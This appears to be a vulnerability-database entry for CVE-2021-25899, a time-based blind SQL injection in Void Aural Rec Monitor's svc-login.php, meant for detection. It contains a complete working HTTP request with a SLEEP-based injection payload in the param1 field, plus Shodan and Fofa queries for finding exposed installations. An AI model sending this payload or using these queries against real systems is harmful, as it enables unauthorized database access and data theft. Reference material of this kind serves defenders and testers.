🔙 목록으로 돌아가기

CVE-2021-25899: Void Aural Rec Monitor 9.0.0.1 - SQL Injection

TitleVoid Aural Rec Monitor 9.0.0.1 - SQL Injection
Authoredoardottt
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationApply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Void Aural Rec Monitor 9.0.0.1.
CVSS Score7.5
EPSS Score0.88861
CVE IDCVE-2021-25899
CWE IDCWE-89
Shodan Queryhtml:"AURALL"http.html:"aurall"
Fofa Querybody="aurall"
Tags time-based-sqli cve2021 cve sqli void aurall vkev vuln

🔍 Vulnerability Description

Void Aural Rec Monitor 9.0.0.1 contains a SQL injection vulnerability in svc-login.php. An attacker can send a crafted HTTP request to perform a blind time-based SQL injection via the param1 parameter and thus possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /AurallRECMonitor/services/svc-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Content-Length: 77
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

param1=dummy'+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))dummy)--+dummy&param2=test

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25899.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25899.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A